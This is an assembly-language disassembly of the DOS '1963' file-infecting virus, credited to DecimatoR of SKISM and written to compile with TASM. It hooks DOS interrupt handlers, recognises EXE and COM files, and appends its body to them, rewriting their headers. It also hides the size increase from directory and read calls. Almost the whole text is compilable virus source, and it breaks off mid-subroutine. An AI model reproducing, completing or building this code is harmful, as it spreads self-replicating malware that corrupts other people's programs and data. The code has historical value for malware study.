PAGE 59,132 ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ;ÛÛ ÛÛ ;ÛÛ 1963 VIRUS ÛÛ ;ÛÛ ÛÛ ;ÛÛ disassembly by ÛÛ ;ÛÛ ÛÛ ;ÛÛ DecimatoR / SKISM ÛÛ ;ÛÛ ÛÛ ;ÛÛ 01/15/92 Compile with TASM 2.0 DW 717-367-3501 ÛÛ ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ data_1e equ 4 ; (0000:0004=7FBh) data_2e equ 6 ; (0000:0006=70h) data_3e equ 4Ch ; (0000:004C=88h) data_4e equ 84h ; (0000:0084=16h) data_6e equ 0Ah ; (0046:000A=0) data_7e equ 16h ; (0046:0016=0) data_8e equ 2Ch ; (0046:002C=50h) data_9e equ 8ABh ; (0046:08AB=4146h) data_10e equ 8ADh ; (0046:08AD=3154h) data_11e equ 0Ah ; (08D4:000A=2F9h) data_12e equ 0Ch ; (08D4:000C=3872h) data_13e equ 100h ; (08D4:0100=0DFh) data_14e equ 1 ; (4815:0001=0FFFFh) data_15e equ 100h ; (4816:0100=0FFh) data_16e equ 1 ; (8343:0001=0FFFFh) data_17e equ 0Ah ; (8344:000A=0) data_18e equ 0Eh ; (8344:000E=8344h) data_49e equ 900h ; (8344:0900=0) data_50e equ 902h ; (8344:0902=0) data_51e equ 904h ; (8344:0904=8344h) data_52e equ 906h ; (8344:0906=0) data_53e equ 9EFh ; (8344:09EF=0) data_54e equ 10AFh ; (8344:10AF=0) data_55e equ 10B1h ; (8344:10B1=0) data_56e equ 10B3h ; (8344:10B3=0) seg_a segment byte public assume cs:seg_a, ds:seg_a org 100h virus proc far start: mov ah,30h ; '0' int 21h ; DOS Services ah=function 30h ; get DOS version number ax cmp al,3 jb loc_1 ; Jump if below mov ax,1200h int 2Fh ; Multiplex/Spooler al=func 00h ; get installed status cmp al,0FFh loc_1: mov ax,0Bh jc loc_4 ; Jump if carry Set mov ah,4Ah ; 'J' mov bx,140h int 21h ; DOS Services ah=function 4Ah ; change mem allocation, bx=siz jc loc_4 ; Jump if carry Set cli ; Disable interrupts push cs pop ss mov sp,13FEh call sub_1 ; (01EB) sti ; Enable interrupts mov ax,ds:data_8e ; (0046:002C=50h) or ax,ax ; Zero ? jz loc_5 ; Jump if zero call sub_13 ; (07EC) mov es,ax xor di,di ; Zero register xor ax,ax ; Zero register loc_2: scasw ; Scan es:[di] for ax jnz loc_2 ; Jump if not zero scasw ; Scan es:[di] for ax mov dx,di push es pop ds mov ah,48h ; 'H' mov bx,0FFFFh int 21h ; DOS Services ah=function 48h ; allocate memory, bx=bytes/16 mov ah,48h ; 'H' int 21h ; DOS Services ah=function 48h ; allocate memory, bx=bytes/16 mov es,ax mov ah,49h ; 'I' int 21h ; DOS Services ah=function 49h ; release memory block, es=seg xor ax,ax ; Zero register mov cx,bx mov bx,es locloop_3: push cx mov cx,8 xor di,di ; Zero register rep stosw ; Rep when cx >0 Store ax to es:[di] inc bx mov es,bx pop cx loop locloop_3 ; Loop if cx > 0 push cs pop es mov bx,data_51e ; (8344:0904=44h) mov di,bx stosw ; Store ax to es:[di] mov al,80h stosw ; Store ax to es:[di] mov ax,cs stosw ; Store ax to es:[di] mov ax,5Ch stosw ; Store ax to es:[di] mov ax,cs stosw ; Store ax to es:[di] mov ax,6Ch stosw ; Store ax to es:[di] mov ax,cs stosw ; Store ax to es:[di] mov ax,4B00h int 21h ; DOS Services ah=function 4Bh ; run progm @ds:dx, parm @es:bx loc_4: push cs pop ds call sub_13 ; (07EC) jmp dword ptr cs:data_17e ; (8344:000A=0) loc_5: mov ax,1220h mov bx,5 int 2Fh ; ??INT Non-standard interrupt. push bx dec bx dec bx mov es:[di],bl mov ax,1216h int 2Fh ; ??INT Non-standard interrupt. dec bx dec bx mov es:[di],bx mov ah,48h ; 'H' mov bx,0FFFFh int 21h ; DOS Services ah=function 48h ; allocate memory, bx=bytes/16 mov ah,48h ; 'H' int 21h ; DOS Services ah=function 48h ; allocate memory, bx=bytes/16 mov ds,ax pop bx mov ax,4200h xor cx,cx ; Zero register xor dx,dx ; Zero register int 21h ; DOS Services ah=function 42h ; move file ptr, cx,dx=offset mov ah,3Fh ; '?' mov dx,data_15e ; (4816:0100=0FFh) mov cx,es:[di+11h] int 21h ; DOS Services ah=function 3Fh ; read file, cx=bytes, to ds:dx jc loc_4 ; Jump if carry Set mov ah,3Eh ; '>' int 21h ; DOS Services ah=function 3Eh ; close file, bx=file handle mov ah,26h ; '&' mov dx,ds int 21h ; DOS Services ah=function 26h ; create progm seg prefix dx dec dx mov es,dx mov es:data_14e,ds ; (4815:0001=0FFFFh) inc dx mov es,dx mov ss,dx mov sp,0FFFEh push ds mov ax,100h push ax retf ; Return far virus endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_1 proc near push ds mov ax,1203h int 2Fh ; Multiplex/Spooler al=func 03h ; remove all files from queue mov cs:data_51e,ds ; (8344:0904=8344h) xor si,si ; Zero register mov ds,si mov di,288h mov si,cs xchg di,ds:data_1e ; (0000:0004=7FBh) xchg si,ds:data_2e ; (0000:0006=70h) pushf ; Push flags pushf ; Push flags pushf ; Push flags mov bp,sp or byte ptr [bp+1],1 popf ; Pop flags pushf ; Push flags pushf ; Push flags mov word ptr cs:data_52e,8AFh ; (8344:0906=0) mov ah,1 call dword ptr ds:data_3e ; (0000:004C=2288h) popf ; Pop flags mov word ptr cs:data_52e,8ABh ; (8344:0906=0) mov ah,0Bh call dword ptr ds:data_4e ; (0000:0084=1716h) popf ; Pop flags mov ds:data_1e,di ; (0000:0004=7FBh) mov ds:data_2e,si ; (0000:0006=70h) pop ds push ds push es mov bx,cs mov bp,2AEh mov ax,ds:data_9e ; (0046:08AB=4146h) mov dx,ds:data_10e ; (0046:08AD=3154h) xor si,si ; Zero register mov ds,si cmp ax,ds:data_4e ; (0000:0084=1716h) jne loc_6 ; Jump if not equal cmp dx,word ptr ds:data_4e+2 ; (0000:0086=2C7h) jne loc_6 ; Jump if not equal mov ds:data_4e,bp ; (0000:0084=1716h) mov word ptr ds:data_4e+2,bx ; (0000:0086=2C7h) jmp short loc_10 ; (0285) loc_6: mov ax,8ABh mov es,bx mov cx,10h cld ; Clear direction locloop_7: mov di,ax mov ds,dx cmpsw ; Cmp [si] to es:[di] jnz loc_9 ; Jump if not zero cmpsw ; Cmp [si] to es:[di] jnz loc_8 ; Jump if not zero mov [si-4],bp mov [si-2],bx loc_8: dec si dec si loc_9: dec si loop locloop_7 ; Loop if cx > 0 xchg si,cx inc dx cmp dx,bx jne locloop_7 ; Jump if not equal loc_10: pop es pop ds retn sub_1 endp push bp mov bp,sp push ax mov ax,[bp+4] cmp ax,cs:data_51e ; (8344:0904=8344h) ja loc_11 ; Jump if above push bx mov bx,cs:data_52e ; (8344:0906=0) mov cs:[bx+2],ax mov ax,[bp+2] mov cs:[bx],ax and byte ptr [bp+7],0FEh pop bx loc_11: pop ax pop bp iret ; Interrupt return db 55h, 8Bh,0ECh, 80h,0FCh, 48h db 74h, 0Ah, 80h,0FCh, 4Ah, 74h db 05h, 3Dh, 03h, 4Bh, 75h, 0Ch db 0E8h, 89h, 05h,0E8h,0AFh, 05h db 9Ch,0E8h, 87h, 05h,0EBh, 55h db 80h,0FCh, 31h, 74h, 05h, 80h db 0FCh db 4Ch, 75h, 0Dh loc_12: push bx mov bx,13h loc_13: call sub_5 ; (0532) dec bx jns loc_13 ; Jump if not sign pop bx jmp short loc_23 ; (0342) loc_14: cmp ah,0Fh je loc_15 ; Jump if equal cmp ah,10h je loc_15 ; Jump if equal cmp ah,17h je loc_15 ; Jump if equal cmp ah,23h ; '#' jne loc_16 ; Jump if not equal loc_15: call sub_15 ; (081F) jmp short loc_23 ; (0342) loc_16: cmp ah,3Fh ; '?' jne loc_20 ; Jump if not equal call sub_5 ; (0532) jnc loc_18 ; Jump if carry=0 mov ax,5 loc_17: jmp loc_37 ; (0403) loc_18: jnz loc_23 ; Jump if not zero call sub_22 ; (0875) jc loc_17 ; Jump if carry Set pushf ; Push flags call sub_24 ; (0884) push ds pop es mov di,dx call sub_11 ; (0785) call sub_25 ; (0896) loc_19: popf ; Pop flags pop bp retf 2 ; Return far loc_20: cmp ah,3Dh ; '=' je loc_21 ; Jump if equal cmp ah,43h ; 'C' je loc_21 ; Jump if equal cmp ah,56h ; 'V' jne loc_22 ; Jump if not equal loc_21: call sub_3 ; (0519) jmp short loc_23 ; (0342) loc_22: cmp ah,3Eh ; '>' jne loc_24 ; Jump if not equal call sub_5 ; (0532) loc_23: push word ptr [bp+6] popf ; Pop flags pop bp cli ; Disable interrupts jmp dword ptr cs:data_20 ; (8344:08AB=0) loc_24: cmp ah,14h je loc_25 ; Jump if equal cmp ah,21h ; '!' je loc_25 ; Jump if equal cmp ah,27h ; ''' je loc_25 ; Jump if equal jmp loc_35 ; (03DE) loc_25: call sub_15 ; (081F) jnc loc_27 ; Jump if carry=0 loc_26: pop bp mov al,1 iret ; Interrupt return loc_27: jnz loc_23 ; Jump if not zero call sub_24 ; (0884) call sub_14 ; (0814) cmp ah,14h jne loc_28 ; Jump if not equal mov ax,[si+0Ch] mov dx,80h mul dx ; dx:ax = reg * ax xor bx,bx ; Zero register add al,[si+20h] adc ah,bl adc bx,dx xchg ax,bx jmp short loc_29 ; (038F) loc_28: mov ax,[si+23h] mov bx,[si+21h] loc_29: mov cx,[si+0Eh] mul cx ; dx:ax = reg * ax jnc loc_31 ; Jump if carry=0 loc_30: call sub_25 ; (0896) jmp short loc_26 ; (0364) loc_31: xchg ax,bx mul cx ; dx:ax = reg * ax add dx,bx jc loc_30 ; Jump if carry Set mov cs:data_37,ax ; (8344:08D0=0) mov cs:data_38,dx ; (8344:08D2=0) mov cs:data_39,cx ; (8344:08D4=0) call sub_25 ; (0896) call sub_22 ; (0875) or al,al ; Zero ? jz loc_32 ; Jump if zero cmp al,3 jne loc_34 ; Jump if not equal loc_32: call sub_24 ; (0884) cmp ah,27h ; ''' mov ax,cs:data_39 ; (8344:08D4=0) jnz loc_33 ; Jump if not zero mul cx ; dx:ax = reg * ax jc loc_30 ; Jump if carry Set loc_33: push ax mov ah,2Fh ; '/' int 21h ; DOS Services ah=function 2Fh ; get DTA ptr into es:bx mov di,bx pop ax call sub_11 ; (0785) call sub_25 ; (0896) loc_34: pop bp iret ; Interrupt return loc_35: cmp ax,4B00h je loc_38 ; Jump if equal cmp ax,4B01h je loc_36 ; Jump if equal jmp loc_23 ; (0342) loc_36: call sub_2 ; (042F) jc loc_37 ; Jump if carry Set push si push di push ds push cs pop ds mov si,offset data_41 ; (8344:08E2=0) lea di,[bx+0Eh] ; Load effective addr cld ; Clear direction movsw ; Mov [si] to es:[di] movsw ; Mov [si] to es:[di] movsw ; Mov [si] to es:[di] movsw ; Mov [si] to es:[di] pop ds pop di pop si loc_37: pushf ; Push flags shr byte ptr [bp+6],1 ; Shift w/zeros fill popf ; Pop flags rcl byte ptr [bp+6],1 ; Rotate thru carry pop bp iret ; Interrupt return loc_38: call sub_2 ; (042F) jc loc_37 ; Jump if carry Set push ax mov ah,51h ; 'Q' int 21h ; DOS Services ah=function 51h ; get active PSP segment in bx mov ds,bx mov es,bx pop ax cli ; Disable interrupts mov sp,cs:data_41 ; (8344:08E2=0) mov ss,cs:data_42 ; (8344:08E4=0) inc sp inc sp sti ; Enable interrupts jmp dword ptr cs:data_43 ; (8344:08E6=0) ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_2 proc near call sub_24 ; (0884) stc ; Set carry flag call sub_4 ; (051A) loc_39: mov ax,0Bh jc loc_40 ; Jump if carry Set cld ; Clear direction pushf ; Push flags push ds mov ax,3522h int 21h ; DOS Services ah=function 35h ; get intrpt vector al in es:bx mov cs:data_24,bx ; (8344:08B7=0) mov word ptr cs:data_24+2,es ; (8344:08B9=8344h) lds si,dword ptr [bp+0Ah] ; Load 32 bit ptr push cs pop es mov di,offset data_39 ; (8344:08D4=0) mov bx,di mov cx,7 rep movsw ; Rep when cx >0 Mov [si] to es:[di] pop ds call sub_16 ; (084C) push dx mov ax,4B01h call sub_23 ; (0879) pop dx call sub_17 ; (0851) jnc loc_42 ; Jump if carry=0 loc_40: mov [bp+8],ax loc_41: call sub_25 ; (0896) retn loc_42: mov [bp+8],ax mov ah,51h ; 'Q' int 21h ; DOS Services ah=function 51h ; get active PSP segment in bx mov es,bx mov si,[bp] lds dx,dword ptr ss:[si+2] ; Load 32 bit ptr mov es:data_11e,dx ; (08D4:000A=2F9h) mov es:data_12e,ds ; (08D4:000C=3872h) mov ax,2522h int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx popf ; Pop flags jnz loc_41 ; Jump if not zero push cs pop ds mov si,data_51e ; (8344:0904=44h) mov di,data_13e ; (08D4:0100=0DFh) mov cx,7ABh rep movsb ; Rep when cx >0 Mov [si] to es:[di] call sub_7 ; (0758) jz loc_44 ; Jump if zero loc_43: clc ; Clear carry flag jmp short loc_41 ; (0470) loc_44: mov di,bx add di,10h mov ax,ds:data_55e ; (8344:10B1=0) mov word ptr data_43,ax ; (8344:08E6=0) mov ax,ds:data_56e ; (8344:10B3=0) add ax,di mov word ptr data_43+2,ax ; (8344:08E8=0) mov cx,ds:data_54e ; (8344:10AF=0) or cx,cx ; Zero ? jz loc_43 ; Jump if zero lds dx,dword ptr [bp+0Eh] ; Load 32 bit ptr call sub_18 ; (0862) jc loc_47 ; Jump if carry Set mov bx,ax push cx push cs pop ds xor cx,cx ; Zero register mov dx,ds:data_50e ; (8344:0902=0) call sub_20 ; (086B) mov dx,904h pop cx locloop_45: push cx mov cx,4 call sub_8 ; (0764) pop cx jc loc_46 ; Jump if carry Set mov si,dx push ds mov ax,[si+2] mov si,[si] add ax,di mov ds,ax add [si],di pop ds loop locloop_45 ; Loop if cx > 0 call sub_19 ; (0867) jmp short loc_43 ; (04A8) loc_46: call sub_19 ; (0867) loc_47: push es pop ds les bx,dword ptr cs:data_24 ; (8344:08B7=0) Load 32 bit ptr mov ds:data_17e,bx ; (8344:000A=0) mov ds:data_18e,es ; (8344:000E=8344h) call sub_13 ; (07EC) stc ; Set carry flag jmp loc_39 ; (0436) sub_2 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_3 proc near clc ; Clear carry flag ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_4: push ax push bx pushf ; Push flags call sub_18 ; (0862) jc loc_48 ; Jump if carry Set mov bx,ax popf ; Pop flags pushf ; Push flags call sub_6 ; (0533) pushf ; Push flags call sub_19 ; (0867) popf ; Pop flags loc_48: pop bx pop bx pop ax retn sub_3 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_5 proc near clc ; Clear carry flag ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_6: cld ; Clear direction call sub_24 ; (0884) pushf ; Push flags push bx mov ax,1220h int 2Fh ; ??INT Non-standard interrupt. jc loc_49 ; Jump if carry Set xor bh,bh ; Zero register mov bl,es:[di] mov ax,1216h int 2Fh ; ??INT Non-standard interrupt. jnc loc_50 ; Jump if carry=0 loc_49: call sub_25 ; (0896) retn loc_50: push es push cs pop ds mov ax,3523h int 21h ; DOS Services ah=function 35h ; get intrpt vector al in es:bx mov data_26,bx ; (8344:08BB=0) mov word ptr data_26+2,es ; (8344:08BD=8344h) inc ax int 21h ; DOS Services ah=function 35h ; get intrpt vector al in es:bx mov data_28,bx ; (8344:08BF=0) mov word ptr data_28+2,es ; (8344:08C1=8344h) mov ah,25h ; '%' mov dx,offset int_24h_entry int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx dec ax inc dx inc dx int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx pop es pop bx mov al,2 xchg al,es:[di+2] mov data_33,al ; (8344:08C9=0) mov ax,es:[di+5] mov data_34,ax ; (8344:08CA=0) mov ax,es:[di+15h] mov data_37,ax ; (8344:08D0=0) mov ax,es:[di+17h] mov data_38,ax ; (8344:08D2=0) mov ax,es:[di+11h] mov dx,es:[di+13h] mov data_35,ax ; (8344:08CC=0) mov data_36,dx ; (8344:08CE=0) cmp ax,1Ah sbb dx,0 jc loc_55 ; Jump if carry Set popf ; Pop flags jc loc_52 ; Jump if carry Set mov ax,es:[di+28h] cmp ax,5845h je loc_51 ; Jump if equal cmp ax,4F43h jne loc_55 ; Jump if not equal mov al,4Dh ; 'M' loc_51: cmp al,es:[di+2Ah] jne loc_55 ; Jump if not equal loc_52: xor cx,cx ; Zero register xor dx,dx ; Zero register call sub_20 ; (086B) mov dx,8EAh mov cl,1Ah call sub_8 ; (0764) jc loc_57 ; Jump if carry Set xor cx,cx ; Zero register xor dx,dx ; Zero register call sub_7 ; (0758) jnz loc_53 ; Jump if not zero mov ax,data_47 ; (8344:08F2=0) mov dl,10h mul dx ; dx:ax = reg * ax mov cx,dx mov dx,ax loc_53: push cx push dx add dx,7ABh adc cx,0 cmp cx,data_36 ; (8344:08CE=0) jne loc_54 ; Jump if not equal cmp dx,data_35 ; (8344:08CC=0) loc_54: pop dx pop cx jbe loc_56 ; Jump if below or = loc_55: jmp short loc_62 ; (065D) loc_56: push cx push dx call sub_20 ; (086B) mov dx,904h mov cx,7ABh call sub_8 ; (0764) jnc loc_58 ; Jump if carry=0 loc_57: jmp short loc_60 ; (0656) loc_58: push es push di push cs pop es mov si,data_53e ; (8344:09EF=0) mov di,offset ds:[1EBh] ; (8344:01EB=1Eh) mov cx,0C3h repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] pop di pop es jnz loc_65 ; Jump if not zero mov dx,cx call sub_21 ; (0870) mov cx,7ADh mov dx,904h call sub_7 ; (0758) jnz loc_59 ; Jump if not zero add cx,6 loc_59: add es:[di+11h],cx adc word ptr es:[di+13h],0 call sub_8 ; (0764) jc loc_60 ; Jump if carry Set mov si,dx dec cx dec cx call sub_10 ; (0778) cmp dx,[si] je loc_61 ; Jump if equal loc_60: stc ; Set carry flag jmp short loc_63 ; (0661) loc_61: cmp al,al jmp short loc_63 ; (0661) loc_62: mov al,1 cmp al,0 loc_63: pushf ; Push flags loc_64: mov si,offset data_33 ; (8344:08C9=0) cld ; Clear direction inc di inc di movsb ; Mov [si] to es:[di] inc di inc di movsw ; Mov [si] to es:[di] add di,0Ah movsw ; Mov [si] to es:[di] movsw ; Mov [si] to es:[di] movsw ; Mov [si] to es:[di] movsw ; Mov [si] to es:[di] mov ax,2524h lds dx,dword ptr data_28 ; (8344:08BF=0) Load 32 bit ptr int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx dec ax lds dx,dword ptr cs:data_26 ; (8344:08BB=0) Load 32 bit ptr int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx popf ; Pop flags call sub_25 ; (0896) retn loc_65: test byte ptr es:[di+4],4 jnz loc_62 ; Jump if not zero mov ah,0Dh int 21h ; DOS Services ah=function 0Dh ; flush disk buffers to disk push bx push ds push es mov ax,3540h int 21h ; DOS Services ah=function 35h ; get intrpt vector al in es:bx mov data_30,bx ; (8344:08C3=0) mov word ptr data_30+2,es ; (8344:08C5=8344h) mov al,13h int 21h ; DOS Services ah=function 35h ; get intrpt vector al in es:bx mov data_22,bx ; (8344:08B3=0) mov word ptr data_22+2,es ; (8344:08B5=8344h) mov ah,25h ; '%' lds dx,data_21 ; (8344:08AF=0) Load 32 bit ptr int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx mov al,40h ; '@' ;* mov dx,offset loc_85 ;* db 0BAh, 59h,0ECh mov bx,0F000h mov ds,bx int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx pop es pop ds pop bx xor cx,cx ; Zero register xor dx,dx ; Zero register call sub_21 ; (0870) mov cx,7ABh mov si,904h call sub_7 ; (0758) jnz loc_66 ; Jump if not zero add cx,6 mov ax,data_46 ; (8344:08F0=0) mov ds:data_54e,ax ; (8344:10AF=0) mov ax,data_48 ; (8344:08FE=0) mov ds:data_55e,ax ; (8344:10B1=0) mov ax,ds:data_49e ; (8344:0900=0) mov ds:data_56e,ax ; (8344:10B3=0) loc_66: push si call sub_10 ; (0778) mov [si],dx pop dx inc cx inc cx call sub_9 ; (076E) jc loc_68 ; Jump if carry Set pop dx pop cx call sub_20 ; (086B) mov dx,100h mov cx,7ABh call sub_9 ; (076E) jc loc_69 ; Jump if carry Set call sub_7 ; (0758) jnz loc_67 ; Jump if not zero xor cx,cx ; Zero register mov data_46,cx ; (8344:08F0=0) mov data_48,dx ; (8344:08FE=0) mov word ptr ds:data_49e,0FFF0h ; (8344:0900=0) xor dx,dx ; Zero register call sub_20 ; (086B) mov dx,8EAh mov cx,1Ah call sub_9 ; (076E) jc loc_69 ; Jump if carry Set loc_67: cmp al,al jmp short loc_70 ; (073C) loc_68: mov al,1 cmp al,0 jmp short loc_70 ; (073C) loc_69: stc ; Set carry flag loc_70: pushf ; Push flags mov ah,0Dh int 21h ; DOS Services ah=function 0Dh ; flush disk buffers to disk push ds mov ax,2513h lds dx,dword ptr data_22 ; (8344:08B3=0) Load 32 bit ptr int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx mov al,40h ; '@' lds dx,dword ptr cs:data_30 ; (8344:08C3=0) Load 32 bit ptr int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx pop ds jmp loc_64 ; (0662) sub_5 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_7 proc near mov ax,data_45 ; (8344:08EA=0) cmp ax,5A4Dh je loc_ret_71 ; Jump if equal cmp ax,4D5Ah loc_ret_71: retn sub_7 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_8 proc near mov ah,3Fh ; '?' call sub_23 ; (0879) jc loc_ret_72 ; Jump if carry Set cmp ax,cx loc_ret_72: retn sub_8 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_9 proc near mov ah,40h ; '@' call sub_23 ; (0879) jc loc_ret_73 ; Jump if carry Set cmp ax,cx loc_ret_73: retn sub_9 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_10 proc near push cx xor dx,dx ; Zero register locloop_74: lodsb ; String [si] to al add dl,al adc dh,0 loop locloop_74 ; Loop if cx > 0 pop cx retn sub_10 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_11 proc near push cs pop ds mov si,904h mov bx,ax mov cx,7ABh call sub_7 ; (0758) jnz loc_75 ; Jump if not zero mov ax,data_47 ; (8344:08F2=0) mov dx,10h mul dx ; dx:ax = reg * ax push bx push di call sub_12 ; (07BF) pop di pop bx mov si,offset data_45 ; (8344:08EA=0) mov cx,1Ah mov ax,ds:data_54e ; (8344:10AF=0) mov data_46,ax ; (8344:08F0=0) mov ax,ds:data_55e ; (8344:10B1=0) mov data_48,ax ; (8344:08FE=0) mov ax,ds:data_56e ; (8344:10B3=0) mov ds:data_49e,ax ; (8344:0900=0) loc_75: xor ax,ax ; Zero register xor dx,dx ; Zero register ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_12: sub ax,data_37 ; (8344:08D0=0) sbb dx,data_38 ; (8344:08D2=0) jc loc_76 ; Jump if carry Set jnz loc_ret_79 ; Jump if not zero sub bx,ax jbe loc_ret_79 ; Jump if below or = add di,ax jmp short loc_77 ; (07E2) loc_76: neg ax adc dx,0 neg dx jnz loc_ret_79 ; Jump if not zero sub cx,ax jbe loc_ret_79 ; Jump if below or = add si,ax loc_77: cmp cx,bx jbe loc_78 ; Jump if below or = mov cx,bx loc_78: cld ; Clear direction rep movsb ; Rep when cx >0 Mov [si] to es:[di] loc_ret_79: retn sub_11 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_13 proc near pushf ; Push flags call sub_24 ; (0884) mov ah,49h ; 'I' push ds pop es int 21h ; DOS Services ah=function 49h ; release memory block, es=seg mov ah,49h ; 'I' mov es,ds:data_8e ; (0046:002C=50h) int 21h ; DOS Services ah=function 49h ; release memory block, es=seg mov ah,50h ; 'P' mov bx,ds:data_7e ; (0046:0016=0) int 21h ; DOS Services ah=function 50h ; set active PSP segmnt from bx mov ax,2522h lds dx,dword ptr ds:data_6e ; (0046:000A=0) Load 32 bit ptr int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx call sub_25 ; (0896) popf ; Pop flags retn sub_13 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_14 proc near mov si,dx cmp byte ptr [si],0FFh jne loc_ret_80 ; Jump if not equal add si,7 loc_ret_80: retn sub_14 